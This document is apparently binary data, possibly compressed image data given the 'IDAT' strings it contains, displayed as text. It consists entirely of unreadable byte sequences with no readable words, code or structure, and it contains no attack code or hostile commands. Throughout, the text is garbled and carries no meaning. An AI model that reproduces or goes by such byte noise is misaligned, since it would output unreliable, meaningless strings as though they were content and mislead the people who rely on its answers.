|x߿VokY婚Rd[㹿;87U>іבՁ6]7ϡsΓˋ#_,y}<Ktp
mCb
֜3|kz&=X׫7;ɶu#s~S.U'LS({r+pU=Zɟ}TX(]	\?%.hMS2YO8 ŧru=XBjs*+ۿ	L7zsڟ߳`I#v8ਫ}ᅌ
95?&l÷>evWOR95]'wbV~<fgu_3?&_>|ݙXՊKZ(ϷBnk=*`~fzު$X1o~;g5kw~CmO+>oK|b퓊7:⧚j&ct&sT2כ3XM
?5Yʷ'_yH>N3wXjs8~[)ZBrJi:I[1rkb
;oB}-*w3Wbl{m7ԏpl^RI`
;ΙG1]D3FcBfъ'b?IyfADJUAW~nDI+9
(
|d@9:ÜT2O%+՜g;#:W}+?QLjiCyzw%3bڼ9#P򤮦FHˢQ	gzSҢp;*,Q67v?0hGk.c) g)V3__ywݵB+O.qTB@Uh<Ο
R-q)i
{ؙ9+>7Zו.JOU~X6̝-x~,&
YKyhgĵLyU3K^u:M"z]Zj2<dLcڤ6
4J>T#xth
nH.q8iUJ'+U1Ѧg=%OoMç2,dLq]3Uc*#$yW}Hf-+^t/(d~jVG)'itQ5mϱU5C\9FL-5uTM'KيxVղ7}AP`=9Fg׾IQ ?L=񎆺ɑ]KR-X^S.ItՇ^14gbCp_gmm1T2<ݢ+%54WHql?=SϘX? %=>ģ<:G^sptWx
ǣ8׬9Hx=W!a^$e辈of	NYm|Vslds?8*Mؿ4|kZnDY
ѷ
Ĕ ˰ӾH倿?$'R|cT%赥jg2%Oag9G<տD34z5_f\>YO,hO,d@Y)t?EϷZ.xgtnӟgCʓF?#V
q}0gY4sp!_Oy7ٕFsfgߪ5ܝdRH*O.xҗ{֊k?ﳺU9t'XEk`󇘾2N˞X<ueYf;	<F-H?$HS9[I^P_eSTdL+T_6؋Ƒ?|Fw<b!BସݰQ$geE;(G}U/	y>GDq{u̡ߟ60K1o"H)7VyGT'd#/>)~+37@ކ^-BM1 s0{bZk<U
'R5$
h,\OĮ5 G}O5h::iZОLXd?HӇ`l㙞B Z~Ҫۻ5o)5O֎<|rBz))jU@{̯CJD߷u;́\pp37/߇߭At/!0؋eKE;{Ɉi~s}	@%Y@R⯏tzv$N-<QL6NmD4{"ai|LYHɞG5kl&1^gٻX#cb	2^Dzq)kP7{b(鞕KW,yt ei-9ږ0ܹQgp-lX;:#e%I+OL	Z=,pkYy<Rgf?8iua6~Bg8tP@lM\pPjXj{oDX}⅟r,_<Wm%ۉho`aU7|R`A?1*)q׽^qlAյ%	%<A[ʹɆ`]GP^*>4=@6HShR;wMr?c'0Wz=Mk+9&~\Ge[g}<Xdsϯ}?ow,2'$L8Q=_ʟS_\^74u럢woޟBבCPmwV>yEG-'0Nۿ'O&'*ZH>$)ORu*Muv]4?9oYseL(ML=/sO7xVx<Y]ae%Qz7M?-7o~h]܃Q‚K>k;9}VX'ķR,Aإ9(miCc~O=
`~
XHGP''.ڼ^xxW{º?īwcSEyqx~ә|FNJg ӟRiYŘ79 GsQoy{8nawNY٦cIhl){YNSI>J}Ms)}?1:Yܸv<(t.w&
ofUsXj.U[oYٷά!htPoMco| 8v޿'ym}Oj;{4`u@㙟dWV[_({H<pϘg':~ao6e&ĕ#wա/r[7T"?iaxͣ{KHNB'RYϽX㜙~~5ϖ.T3d-9(=/oL\ZW1e
Bj`67ľ\Xۿ:v^ˤW`·?(įglFps\^y|EEmUǚS{oϫty͏h@mmֵi
Kb5>,"m>'ol݃R.<q`;>)]x#9Ϝ7fFu\jT3ũ5pX!?/!T<ج0?+Na5x'{ZitN~p(X5_Qlw؛G%Q1dF\Nh _UXDUҜ[U/ѿ,Zd6*5Eڡ#hDĥ:o&e[l-p'Ek"hQd(?	c%@
rp[q
\|(c}ʿzjpjPs#w<XuZ̜:1|ȏ;(@l+0+=Ow iNg~EE"<w+Y
Qu!
rт5[3=]wgb_yM~WՀj0=?+3?1m	+aLVO<-xzrx
ևh>5s
yL!)E&o/]
X1W=wo.?>3hwZ`f.w6hz@wIx:V~CZfs(xjvz}L({߹x̡%Yk/Ι	>ꩇY[P~MP0hz1YNP@˽|_3`H4eֵ|by0Iカ	6Yku|bh넻`yo̿jY
=>jf{~nρ|j7mN!Yg^q˥SDUR%kɷJ~c7K7?	iyM:!Im ~5p(T3#y-X^S%ICL{ݠY`A/gZ_|@aZ~ΏM3Hw%^eMON5OD{]Uqo}&TK&?3i9tޟHߘdߧR]W#83mԐjSU+o/η7ja7Mo㫟#;qjd?t;hn\ rZOR31hY<
G-P'P^W)KkX|}ՂRoUz[Ϛ->d3_Z^w.N$%OBʞkQytS:";T)<3I(RC 5tz|=	:Ekg"O[dž;S^Gkb}>ld>e2L.zjz?Ik
?%PFI+Jho&k\#T>-Fz(a-?=A\c&Ћ&sڧn:60cŘkkW׭fNֿ=M	K]H_8%?qG1MOiU^xcR}KTOaZe"rm xqGS<E^9M^+7eQ3LnG=VS]~P7˫Zf}CP䀌+WU-e"al60[jki
}o]WuT=q)MpBqz0?inw
D	=Ot`>#|wEnHsOt)Bާ`YRM+7LKBzNp@p'1)Re?yi[b#΋S}
?UTl8˛&9>z_SH=L$kudS`Jl+,S.~TmIswAڗ5! %+1Q\<[]ܤSёC8/JHsUA*mׯ$	ǧPT!Ǜ'N
O#S|WGo$dWçy:cbӵc)v@S<:ǃI%s+\w06
,b{g#ڿ17I/%TS~#c#uw+eL?Wi{9 b[5~~BZ٪/ߝ/hV?J{O8][^6`qoU,K2?')9/|咞ȥLP:>" ~S@ժ`8nAS^W}0??UاvOث?WKyxȣGRs\Y$b;f!UX}R;$ג{u#7ջ
LPFH_0߿y^RYAPȼݤqRqܚ`5Z+lQ~0,Y`[9ӣl5m3s҃	4:8٣.S^LuT#֗XPýw/~&V4~XBA7|JQ;r\@p8i55p&wS*w}&9yɬr
aԙO$l̟=KqG?akE?uvVQq_V,l#sTď v=qO;Et^cR]lԔ}gR MƓЗQIUfPK<VaGN 5R
mٓge[0Ŀl
L{k#Y¬ۋk
αy |IGޢZrH]whߏeu&gUg>~(OJ(fptޞڇw.'W𜽐H@\4{LMJ1͘P~SFG`\L?dhȴ|`UL:y_ttnlpj}P!6HϟS_ ӓ)O=Cg8+IT<l*d~xTsݻƅ#VITQ14~ygI>&sC!*R2{DӇڛW&}qYN׫V{ЀZOXkIY#g9')>^7ׯO|f&<??JlF~\h¿7ba__HfErIoC
̱v&żyvrsL˻>'窷Rx^{n>gk֭8{EgCslw`~=;bԑo*lȈR~9Jb(~9xnE]̫k7L?G,3fÚlYB}*tWЁ0(MѝWŋؖfrdB
iٔ2`o]y$x̯0J]Ú*竕%,uso,JE~r-4{$[N0͂dYd;?i+i56
V7\U-H^~5,fw<{jxVZK̈́ZḾFu7fˌk,=.,46_BX	w+|
3D_5
|2O`h|՟o(^w5j͂٪Y%(m"w'b?BzM9@Zh܀Z<ړY~$E:?ja%>HYYS^>>VYLu	ˑÓ
dU=! o̖٘g~J}EyHN.]hbyZVkzۈ<6!^fwjBN7ZwZxZ?ў'Nd??NJ4ך$ ~f^cr^vJՂ̏[O+t現4PU~$j?'<',~5	hlT}T#\ɖ9$g5Q0Ⱦ1'|>aRU}<ޏʥ0RSsW䏇T<`z>Kώ>6=8\ZICJcK7Uc:)rNy|b#lfZ`o.ɝ-uNJ7<'VPL7k`=ae߆kNJR.6M3.bk⡠ߧwC
S_ɵO}kc|ovm/9[$aˏnI5TʼoD	rkΛ{$;KRJՀ;lbÁۀ
XEKI\߲M
&Q	(F|ӻ8g#>#(ɥGnZ}RY7()M94$u
^!yXRDu㤾$ߋ2d<IT}v&ҥ;Bч~W
j>yR:ۛpChSr֥.V44Q_>;Yޙ(TzW>4!51=#Kh[=59^{OwJƤ)F$>ueW#}seL4`gsHH[Id|7t32vW7¿+ГoDDR߽Nl˷)i
[dcMY?Ca'4+@Fx#!cCJX44Sk[1ϡO{=w(zl?;}o}Eθ[Jfrjϑ`_ol.ͣpݟSbϾ*y̓4:MIܾG]Cw5;uBȕoU|8g"[D7QᲺ׉Ҵ%g]O;N|H}3ƞ@Tkjjͤz\!
@-^sNfs:}=:#jp0Y䭞,Hz~3<L{:}Np}[ssج5]uoV5@щW6*}['M\-"GO50.߃-d/`SXQUJFt@lvÂΝD3ZJe@5=Z"~Z޿h>PV⩄y~-@@ҿ?D;FrH$߽6"d̍YLJ(IdC۴,TFʑxjP<܇Ft@$ۿIO`l_\ҹ]awce&]= (_kt/]k|]Ɛɺp~wH{^f|r+5ԣVHn)(p[@
k{{m':s<&쐼|gҞ[iam֖9.]3~Njw~uW?[;zVœѭ8 7#Eg4_pT"p#goҍr5P|ϚHkDIǚiZ>1'qEE
rq'[_Yy)g׭ߓq?byl:vОRO:}=_8ejnu;U~:ݰݮ~{߽L]akn8x>_ﰶHExqr=kҗ#Zf.I蟹OYO՟p:?YOg0
T\)alom`f;'*F]{]e<CbҀ|3笽`akxRbSe-;[@fZR'q_~h:yFu'ɻT'3K1[^3*Nw1t`;.'PXunR'O
zmX%.vwƹoazJ'ߟq͊W}¸x:gu+z'Vjt觯^s\595+dUmq9xiP'gy9S4T_l",}
?.
[%/}Mٽ膟OH@t<&#҃5+sNEu,CHAO{?oG]NC8qאUpęs#o\oJ_/rb`_Esݾ4pT2-s/]PB*5Bhyt*bn~=hMn	Q!]_W~8׶f9	rt	=ݽxoW	2=TjuW19<r2mMPߕknAgH.IJ@CW9sǭ%=؊ruй
]2'Y8qxx$,U	s[#i^D3W)Yc.R;7xE@\~`5Yw%=9>#n 5LS#0<:qO^1)P(tSvnd:'M	.	ˊ/0R`(~iI\z.>G`,v';x#D?3~:WLߣ#p&oW4 6kXIE^m8yQ >bw/q88O8=EﴣwF'	>#T,<؇*G/esU;7I%\<W/;zm!ʚuR@[BULR%Dc~4=%(3{AdeC?<eМO<ke(" Nu%'f8Gb6n_/E\8XTkDArS>iScUTC>*|n
ѣj֐}Ff4["s`Gi~w>|Dm7y~d#սO赺p^ݩ3䛃g{kT~#>Gq5T?P\|0_qAݘO߾^n7xbMy.nu-r
_'Z	oW}IƩ~nX`jMO`
PBxLXI9t}s||-{/fdv2l_CK[jWҾ2_]o/2u=g߿VF')GOӓb~a|wp}	੫Ao~1~9ju/5_׷j5\52US@Zp'	)Ń=Þyh1`$몜N?Զ{@KCP'T4Åh
{;u^νiRGEomb_5f+xR88)V*@ZŽSC$Z-%srUuYWAE/7::pB't	6PjU80w'}SN=f r=0&*.

^V؇"@rJ(Q!	9ZZsVm+?QT<̬s_^fS-<HoT|uY~LOd)]SkS,E:}9vY޾GpmC?5jkApM8)CVFVq{Iw7sުd .l}US33	00,$:A~<oOT)1x\b)Ÿx
ù̷wY5
삗y$_ֽn'
Re4GBQ~c<wb⧽]֭YMꉐb߉IB0B#Y4e=Ϗ!]s-j*rLfg~ѿ¼݀*EyՉ6q.	>zz6%qrUkm]5*Lz/]xOOWjKI_= ~K=o)gw}[OFG+ߴZ>JKsmscºIw"o/W`kStbyʗ;j`OӜ?@a/);`]&QS;ݣ 
u}yWi!ޱؖu?	gկ^n/p%猺J
d)urΞ:;tx|ysަ׆:{@Ldt-τ<G5~kL}Jt']|c*:X@;11}Z}s(F>e	MP6sa{=|nCT/IP/WAgpσKd].8~#Po1W8Gw5YsO`wOYU͒'fS?7ݴ}
W^TWMZq.5~~JPf&߫l|=)Nm>A
U^SU
}wV׀G#)`t'zʯAv@j`<]++qoĹonTH
DCߝB刘a9|w)
xzv;
電'rN/R{{pZ{g~pe3ԥސl7xלMVXcU%EE`>wq4VB*hiu-k=(Ys
(X`?"X^!oSYk5/[r֏_pn:#:evٔמ]3fǷbxkpu$ϣ#X9s.OT()lf
Za]p%TVA·B͵ìT;gH͟^,')x>\G Oѳ,KIr[SԔ{q,9,.&q1kuy!ڇ0ܓK}]_eZ*9͖SNDCZO/dF}IFwbp^HN	
8{myǟrH`u$.Rysϊ@s=#w_,U?X[p6D'?zgxn/ʀ%pj9tGIR^?1?/1ìOr<ѝʞ} YVWXd̷zQK:>{Z=?a$k|F<7je^ws:0PgN<EJyBLA9#@ͳ{51t(fAcԚsd\uw
G뛤:@4X+ts~DIޛǞgqi\{p@"@IDAT*cfg413gߣLc.{V++Ç{|fWQEEo~ʿg+u`]۷*:fEdpX)4*d?ذ[9 1@+
ӊZ+<Wx0T1(Aಈ}5ap}ILH^9g[SxkLv("ͰQQΒXC] j%7k	M_뫼RwS˃kEU?k=ρ@3c'YAWֲhKE\ڋ*A\sp>
!5% /Z0[.}+/uF5[Fz~`?A{SSS$B~uʱ奰v<f;SOzƽ!//2852{
}4#NPX>.a?JF2?SH2'r-(CiJ._0OۅuAtEQY'/g
~"`KD^jq[_*t.|i
} `}IB<7{śsA6	}9w߸j~֓j͹+y
Ye0_zpЯˑ#./	O
8Զ!_p5Q~ۿ%?2®߾홲m-Eikt=^ߚ6:,7>]U]:=3	(tP5l~7΄*5pdz#2?IABgc$l,mhwBpǿL\՗d5[ܚ(.u^~_]	KA"KYw29p!rtGs4[ϸO-	@OP'8gY[OtOk>lwfg9t=41|O[kC_ܸ
y׏5k &v썳xOcU`go[3N[.Gn-fGɐ%uu=Kwg4^ެdݞ?Uz_/qߠ{Q/tN:n/:߳֟\g6'Wh#|]Cgw.J.bI&A{l>si1k{{ (\|<MGqv'h'nxwleܗzZI|"ZOoX~NL_]fC>U\ͭ?P}~w
gHrjظp_O/w)ў`apx[~mdH?i G]9[@j[T2dD{x<5uMߣ;r-@x)
A k0{Sߩۋd@{n97\DL?yizYAUfU}ӥr^[dT3\myhSⷈ|қD~\_aNQեeg—{'i<|mof~~GO>
VdM8ɱOy`ݯk^f9oxsWA3@E&N^#.	ؖoQ'QU>_U Do
:ߟǀ$s|ᅵqWm5,5("`&81(bcplĈV89?){ɵvpY5~i'p|!t%݀oEyG֒Rtᴏ\Χ8'a܅}^wumi?
u~EX5NJ3ù5%/G~hTNY_iPQ!!Q:'HN"ls~߽:
Oƒ'.ofgg@%{2M|RҠzYݺ_jq~(evM-4M0"IY"oےt; ???i񕷪8yЬgW{׿K$a=ls]W94| ,CO*7?W/,h->zu?l܃7"H)zk@f2v\*~H[<kKp/z,"n0#?=YMԕ^I^/QOVWPN_	08|]iJQЩοk%H׽ZE׽du:|~
VPC/ԽgjH9~<e~Q}/@SvAQn9~$ D`)*V5|o
Gڪ(7:",?PtDxRe~?UwN/Tͺ|6zސL53OtaA]Nr*CHsy]MRg9\_ȇ;-NM/z9%Re/ޠjhyF5=}_kz5~~B<}qzZ?b#`nb~7A5|S/҆otwSsNi2IvD[`^[Oމxgs4U>wr/-PoS޳ڧWx6e=	Nhw`cS==7mH|d$5R{^zUg˟٤~HKy	!(y+34<+ua!s[omsdžkGύ;i+GUKub09wWFuyU&)ZkjGOOt)b)|>4ΫެxV-"IQR
Ǎe|Oy;k\wє}	B\S,1{ɴ;GU{J6Kd|T'^Yq[[#lgL͑B+Ύw@f~w)u$DmUh"]{_kHF:AyMB
-(;Du+IZc:ȥ^WTntP-Z͔/_-5;X|Cp@PJ<YZLbOɾWm%WYս'&=U~酿}#GbHN3!>>'Yw_),yQSm$z`BzI*tr[g:rc`~y	WQ_E*gퟖ)[P	 |2X A7`:~h0(W?T~rGPȓ$zOG9\O)nϟ}]T=\mP؟/A	>՝xf'/MB)O\\ge56[g-xl_^𵃗htIɂL> 7? |nPGN|;nk"Iq:Dh~6>|?0'v-[=뇿Hs(pZr	XvރkHt&uT#"1G0ɤx49Zb"^Do˳io[)3RkP~;?D	2V 
{u+z-fN?eZ_%'xЙ<̉>Xy,Ejؠ->TSҋfb+fVjqWb\&gZ\d/hr[U(*/N:pŵ}^{S԰ۏ5'@eXQ?>'[WZI*bbw咜}9UΤySuݣG5NzA-COU>+9i^[;M@?Iȧ1ߑ.n
﹧zf|ķd
чu&5?#%='v>,o["BJ&
~&	!yJު4ypA6<[_i}zz yj/#^#nT߯뚺xWkXOX&}9=OX>lo͆1zŸ+ҽlYXI\sEnGy"qT})6~P3x7ϑ.΂F3GF2Mo' wz>+%LD_ۋr
vi-Q?
@3-pE1zG9XFfJr<~|>G$%}vV>5?=4KAS_oFHH}SKg]c#1iy/sͳlU䖷oDJ_MN:U}z<LoAJUlJPS'ۍWw9E#A e|~ȏp)6J;
%W5iTa){ sy]"qYP*gYu%'qK}k~aZ~>*'
kz}ywyGxPUS 4!
Y#`CByrKfrюkc?$e)ᥟ|kQqIyt]}skp(qv>O|mj4{{,ΏWݐG>qZlb)͡;rf-g䭭9
s$Rɭ>BzA:
s~|1m@ؓd5=(/pE<TT[k傥rj6u*xkA~z')3!+Ul0lGZ~Jwߨ8?ͺ޿	55߰G,
o?{|͹h}גӄT\jngB!qkHK*oIŞb?7J/:`c;ݓTMRn^n\{`IjsO^(Pfz4ĕO#	e+=p{g@pT2f;3{'98(7`+i`wȶ7F[9{̾Cw?=Z Gs:tUxsݢS<z793ΚyGC"qr⽸ww33O*>]/sb|lyqhﻰ_V4?-NR?=FqC4c|o@SMT`8/5%;6gTȰ#&l[Ih Dm%58A^~jE0?~mEL^MrCnqɂ2%=W}əz`x%lؼ
ۛAGݭW^/?Z-ɷFK]Ioakj(dr?5z0]<~/'6)QZ@>BD=='*8z4rKͣs|{Ϗήs9rOlYyL7U8HrE^P@#]?@sxPR<x\$ߘ* 7/$8Sy][_g >fmˏE&ܫjDt%k7Uo-ߔ6 ?,hs~"8ܭA뻾zxȹ4~6ywAIζ|	K<-gmINE\a/mѢqjC_h
(xv".;/u{jRpekz>F+3`ɫQ]:4eQ#Qan=>`=hE"j{*o|~OG_n"K.w躀8ďo !_	h~BOٴaPIYO
6P?_pE~vZ`&Yɩa<I+{AlO-Jk6}F4Stswu54O=7i@g{u }7O~_57@S;9.*"J}3G8+?pŗGGtKL!6J'N)I_8cN(5gM/ݏmv1A=Yh伎Sȕ>ϭE*'jn5	N\yq_)Ru9b<SyŅP%YډU=<9k9K rG	ϩb<@LIujr`[V/)_4W>WHOwUGz~ZyZ1>%u`6K.|S
;}$)'8򽈯s<y
=Cq&kR*IqI`-"^'d5BϒPSҒ඾ʇ\'.5~1՟T=ULth-'(Xg\y*Z֓a,_M3>Z}<}}
䇿9v\	pƧ֠Q=I֭~s#J)qf2$}L{]Q5;|O'hon d~u >+\%!y\kxdÞUV":kΜ7֫L;YW*
j(8eu:sRyOmTj=7?WS
}SHۯ\p]5A^k$"י^U	lyz81*uzRSg^A}d-ӧq`x4]s'ZJb<al?yrR')||9N$,@rp]Ydߦg&)ՊFyg0g?{	v܂MtкF
;g=Vs3[~C}\1Y׳+sb?7جXhmA@Ip'(tyԆxo}zպ7wJS]9g>y8Dj:58={Lnz,UW:'s
gN=nB?a,Z\`9ޞ&/GZcj2 ~j&2imiqL6?GV`6OB4;hgD4A.O<o}>l;v ~!?WթmE9pqML4`4yY	gER}߅D$wGnXQc>|&&=rz^,ր0p!p_̼<*ޯ~㙤vbG|^x)N;I}հ-Nb7`ު3܀rz
Wme+l\-=ߌOEًʇ<2xψAXn_-6lHYHCwHB/
wVdy3bf9-ZVW_ͻR)JKVS
Chbd("ԳITaz<+SaK@Ḏz\+?k=MK<=7=9j\a)}X8‘TҺ6 ǖŁkOm<-oXmzh_\ֽʷ'gK5Asʜgg!F?jqr?+`3y ӡ)</M+ <S#٦I&k=(:?cU>ڄuE]^sQMH+0œV]P	.Ѥ`@b~562>"QhM^ $әMfXhW0ϥ<~+ncȸftbRzYL'^H
de`%ʹ@k5)B;?Bw,ldHJ='s{5+=Cq5tu`UbϾ߉38a5m_BhTt0vvD\ttp- bY{ܚu\"/Yĺ)A'7u$
Xb_Jp=pEŖ
^<\=9fڇ,3P#G
Xp0&(iͿ'EYag[Op;>DG1˫53ko
N&1s:|EMCܷk<03F֜r y>8dx|AOkSJont	l[qM)9.>{gY|8Ugkƾn?4jY!;+7}	i*Z	+$YĮuykUӕ…>7J+>9XQϯinOΉ{K{Wž	0HעOuZWO=wYO4p0/EI
LCTlK':7U
!KgCZB,\X;T>Bw5I؊I	f
##^a륈mŮ}vgQ8xɎOTIYj9dg6zWZGLc/x59| ֚,s}Qc>8ףZ΋SH?nxtY?z#`Y#wd%&=Ϋ"??Bf.≮wNS;Y'!GG܏Vj࣏NPei{@+߸`~SRgmXhMj h!Pm007G(j/>$E$;/سi@{A_&:Պ>}wAMJƏ D$5.{b\9='Y#*o{p+̥"0<PAu]I/$z\
@Pab%/OFljJ|:"ʜtJoU&o)ghjt&,Ko]
?@Lšv8a^
8RcF#&p&&3Vo㘉<EHn]jyj:A>3A]xT—F7ĉJ@5u(B'>3gnń`ׇ`Bj8s ==	1xSrV|wv~KipgÓ>|HbN)-bp~IUD){uIbu|
0wS{Q+62D_X?|.ş,3<񶤕{<<k
\u6>26XQZ	SXڏD5C}m-;m~_'y
Z> [}u'<{I'E͊~C!I6QWggqf+#dY)קtyWZ0K XVu(<b޽v~c~hhV^8)x<8ۈ%zϜE"˧{=(C	-~I?gϙFdxP`
^Qz[7O>[rx%cHL$sMΰۇr"gʓx2; S]n#`GZf8o-9S8՟3cU`͏~\zB|h~Hs9uޮdžgq!wNs=+0/~Vivg8x-2jj4/WC#äy{%ǹ?
?1ϟ鬃^ɪgCI|G`d
	_/ف>wv2ͥUZ-aUHQ@{g-_)$izeA	sJj{h'$|?l8T`i#gǗq=3{-(_,#c9>NU`({sL4`s\#ը_FhAb2`F4Xu>;~g4,42)+Vwb/v*S7Z[|0γ%s)0jʙ>=zS+Ҥ'\s { Q*E~@3<pM`s{ns#:ՖAtK-(
Uǵp⛭f~/0$>ۗwfGn~4>_SHjTY+T\LR	!OrXFț~÷OMi*o
Lr}H~dz>?\xuw(sV-u$Q[މk`X+e:݋#80WH}|;o=fw_oBļHҁ*}}p%ZKr6ד
Dq^-G+?+9s'9AU{ixjV]R9*W~YÐ	WU+9un?b"7ZT?Z~wiIBOwlh!ǧYrk~Qyh_@W?;e񀽿!*Typؽ%R9Ϝ_Oue8	!Ղs`x~|׷FG`C?VP{nZraXn&]T@T~|KZ[f"jxbNJq)wDGv'},5HlO|j;5;͕|5Kf9UЗ.RwN}R	zJTgTos;))Y N?c%>fUY3)-/4՘9}h!$־wbOߪwGT`۟3$vƵMQʙ֒MLW`ެOTo'~-_]-sv$^+Jq<ͯ:߬{uVvLYWDbWVw25rZ~~si[Zk~k}*&8:zRwW]5DR;Ks/0RiܗkI&_!ơ1n<EuKxPGqhobN
JXXoOJxP(SΥ+y}	IlyW*C<
FUC|}0E̚*'՜u0+o
0<-k{q=[kTOžT!Fg&ՆgVÄas(uQ/V?UNB[.U^zn[οҿi/#E?'Y7=]UV{t>0GB|ƪ)-W>ᬧ:1RNn*}:wfL*KQs"euGEÒ#BkpT
.DD__J[S]My[tW2~][7;[g݆?A`o#3GY~Om*f:}&AbUi)9|J#Cc<ļY(A__Cۋ]~k_78dኈ)U{E7f%rRNr\Ny.Ȏ6i;|_c.h1-@[OA,=jפ(hޛ'.\'!C,=neutd25@fMԓqAWWP<ַ\:W=qiG0?sʛ53gB:?Jm=u:8aZ
Gٶ/_5+W)+DV}6{/^8O#pWSrf_Vyt,<ms~>=ίUX?b+U\)_2K2"cr8	(\g;E	{L90Qz0ߥcp"c գp㝒ԉ65GTaj𕴲/ۿ00SNQpO@ǧ5wU?.Z&'EZ~ֲ5dv/0^u}Gui39}VX
YX53*Fos*GVjHk''gFr)^ߟT}m )Y59SG4Tos!B<wV!/[[
}b^dq!*OĵC߯bș4ϐ1@8#9?^筍#W*Oq~'UPK<<xڟľFkXzo
I-Y.'7}z0^{8HzJ<{'5u*iNhu(eA:-oBTTZ*^Vu9;Ÿ!/])b~c6]O'k^}EW=c@q??PUBOa,<;kЕ®V|^m;ʽh_RFTGdwo!)NM55sZ$/Rk2X0	
dĚүO7`ҾBUҿL?eU6o]I-vNz	!+>G
ܑY7©K.$6?,#^iq+:1ZOPIU쟣poBRd.ҖI~%\g(BKkpΏٗ0r\(AS9O??2˅0V>@H񔢏?&iW7Oza7o$Mƚk1)?i+^m>vܳCՠZkY'O&PcR) JMswv{آs"O2ϔb@Y>g>l=v`^iL_t,9Կח]v/}؂kY9kuo<~o}xԷǕo
?c.)`q)Sm5-d	a'BWxlD둧x#UYG/]^U;5̟7Ϋq¬'zwu#-B/o~c~VFޚ*ۓ
̫o+>}=X_=b]]	DHs
cm?'#gmc-}Է>9qxw^#ިK̼\M=x~%Z}?FgTJ~ޝm0>",+^?~d'j龴ΩĬ\jeZ~O,E<ա
隣;ps1o痺N˟#RQb)Gl/x=)ջkK'߹/
Jm
5ro_Op@HjJ?*3>2ӣ=gq)2ޱ?
񎆠\LA=[q峙w%^:Y,MsR)	h'/m>ç.eO`ϫ:TBй/Q	tI*x)նzNw&KFar4?o*9ƾflDZmᛔ$9@ypkdzuMj&G`Y7ZITO%}>_ٯYOVUQPvG祥FL^It]no	q_>zCgMx;74uoY%t0lgZ#VemDuen
<55}0TP߻~WyعAe<?'ۇ>lwx}wPKK:[>#@}6@:4FJ2l⑴eb%)?C/m
/]W_WQ!t02>	]{`<'Ƨ{k^mߚ~.o+%"&`_up+qSLJ&m^C2V~oMㅌF/W[=Ӽ[</4'6#Ժ"8.xHb`4ɹ,M$Y2hC3;ɔ?jJ_+/Nœ2&T_Ȭ߯5ա
ܦZ7W-Wui*:`,&cIaFz?o/p00cƝnW|w4~ߛFs7uL#N;$G)OUO.M4@7bM4$6D4?),y sR^`>뫇`L_-!9sX`?'nfM>/JH@LmzZkTb'l2$}Hy@CЀ΢%>.r/aF|Wtyyg~s@Kh&(pIg>ܣ{u@%]%ƒ'$-װ/Qoޜ9&_%z[!5IjW#D[U{CEwp X~7_;q-Zz݃:3-)m}vŵqj}ʬoϽ,bnc_a~WSCd<{Y'9ǂ!kmMymT-7 3L.Q:A3}RCP;gWO}<+@4}#֝_mN}(Bxj^)xM(^!*V?ӿt&$iˌJ1ͪZçt~Sasy@G_Tfk\";|Q:: o,O ż*‹1woʅBTnά<t.9:PKW7=
]1L=>*(?Qeug!&{qΡ^!TY|_Dbwxm)w3q*r_ä=z
Z:e):~r4bԮk_
Uminaw_!?Ԅf:DxaСJWO^_	F2,ot邇NN]_ЩgMGM^S}_l;HȆ96ԧG	~ξϏ!=$y%nI:W;lj7[͘Z_dQ1?1|WoC0cW i\K]ڭA?|cK`٢<?}_˝MjAק2~)`(L#:'"#-#¼TG	ۦvm|?:iƫEJhMd^s)}D@4@IDAT~|-_7J[/C_Iv{^
M?޿O3k1IK޿框>dlhu+>/4[(;}j{ph|^b/<W= $=w*7憲W_^v'
?-eV{敄gH=jA$B7}v{r_Ҭ"}%L=ɐVڋk"-+vy,{omt[G&fY3^El>؆C
MܓAoi)?8Q;@zGͤo}L-^A1[sLPɩ~H<֥ŝQf6#od>gv(TDf6/՘&i	s<я.cmO܊C<~k*oAk_:r
oN/IOgj_O}7z<+8oJw1^pO??R
1$	s+ǿz.*+@/k\uU\v>Zzeoqb&-Uo:@qo%xCrUSh?IW) Z@8{RF?O9|}*h@
,#G:c{gwNIG`4<'n]I̽{G~3XU@{kV87/CTΣ1ΎIߪÚ̟
>>F3Z?05 T=ɻ?bJ?4:ilq	{Z/*z:P)}0[C
cp`\pVJW/0P<Qc%>88sKd}@HQDߞ:EчaLn+?"7/.-9̃"R؅t	{~]cb-#8CG@Qʿ_"VN
OhIFG~H;;d?U*>̎VM#oN>6
K2̘?v0f~15@gC0v̫Y?'s0JIN_5}oJ,bF?dx`M|oukoJRy->scHDcꌰroxsnn80߿f>Љb9TR`w~56~TeV!ŰB.v㶬jQ	Bo~׳P _8jOt$lۿk2sX+Ul?Gb`K%1w7;%[iQ^>u	Q1
"h\
L36|A'-&6+IZM1$GrI
nϢoQ$g}I)c>"ΜG?>cbUR5fvŔ{`w$l]|LQGlw߿1Ð$ko~$>"ɹ{C"Y\΅&?+VuVπ*n=&Ӹ7.=1>_OS;;?z{p=?U5<eĂ*4U~qyF٫36j`mQ$n=w%o^u‰Io)lQ@	:TeiJxu
wa#'U|MOtֻcP[WR4m+:L!FTP;?S'޾\?,9-Iqj q$1rJ"ٻ7HG6\ 6uB͢_a,K=J8uBXUI*r>Iz.DWjVh?~֩TWJ"4Dfhc]^/Oc]}-GY?Ow%}E@)0
_FO`nh8>76 { Dc5V
@TwQ}٣rL}d$jZU~ʾ^2`9غ[M"Bh;_浵2}=ku57ο'xg^]Sueʶ\ ]R{)q֐y-#&1<Oصw6$iX)
YC0~E󏈪H٥~OP'iF~h)!]+\h-yq}z5yv࿞+C?[WkSy}/ӑJ.\y߲zo^>DC(໐
8efKa3g[ry{0i_=o~6+LrɹAvGu/{.&Xv9	X~?jƛ
̭3W|s?*MUi!OfC3XxSb$?u7/7Џ?2thM>?^`z]o~Yx&N˱+pz^󈟻j2ޅg_|?M
1ϔJ~eXywV{~6}M0SA<^-w=}Bdi郏t.o&jzOWݛ,Fg|^s̯yTBY+K[T7n\n'SS]?cKA?^A8߻zO|-W]?jW}K\fQͳ'+EO7$R"nl5_ТnYۺ_?OhE@M_Ϣm1Go
W4%jnzd/k5r$R]板3keF˘noNb{~SsY,qn%%xNce[yB<˒{}1XlI"qK}
HL"}r$4~{W1~lel`Gr[{KW[Ph׺VxL-ldϫ6s5}c;2cx;R4}[ Cn7d_']aIC#}囈o lƐfW0ngʼ}߱|L[~~ͶsZމˉXʐӣSgQI <{H<;=:_do毀sӻe;و.'^0ГP
9AsP#(6zKhNݡhtj=CϚni-OIђ0

I
jֳ
uj'[}^>GvPq<5Ujҏ3;
gW#st)^x]ÔouuK':uB~}k'2^FD<HLpNܐ dͭ
[	F`o4u>V`]PI,CNyR1w!:	

?
dO)%jڛ2OoT佶0'aֶ	
tB{q<
